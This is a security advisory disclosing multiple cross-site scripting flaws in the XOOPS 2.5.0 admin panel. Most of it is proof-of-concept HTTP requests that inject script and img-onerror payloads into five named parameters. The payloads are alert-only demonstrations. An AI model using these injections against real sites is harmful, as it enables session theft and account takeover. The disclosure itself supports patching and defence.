source: https://www.securityfocus.com/bid/46916/info
XOOPS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
XOOPS 2.5.0 is vulnerable; other versions may also be affected.
Parameter: module
http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin&op=install&module=pm%3Cimg%20src=a%20onerror=alert%28String.fromCharCode%2888,83,83%29%29%3Eaawe
Parameter: module[]
[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
op=confirm&module%5b%5d=1"><script>alert(1)</script>&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System
[/REQUEST]
Parameter: memberslist_id[]
[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=users&selgroups=2
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
memberslist_id%5b%5d="><script>alert(1)</script>&op=action_group&Submit=&selgroups=1&fct=mailusers&edit_group=add_group
[/REQUEST]
Parameter: newname[]
[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System"><script>alert(1)</script>
[/REQUEST]
Parameter: oldname[]
[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System"><script>alert(1)</script>1bf8581e3dc&fct=modulesadmin&newname%5b1%5d=System
[/REQUEST]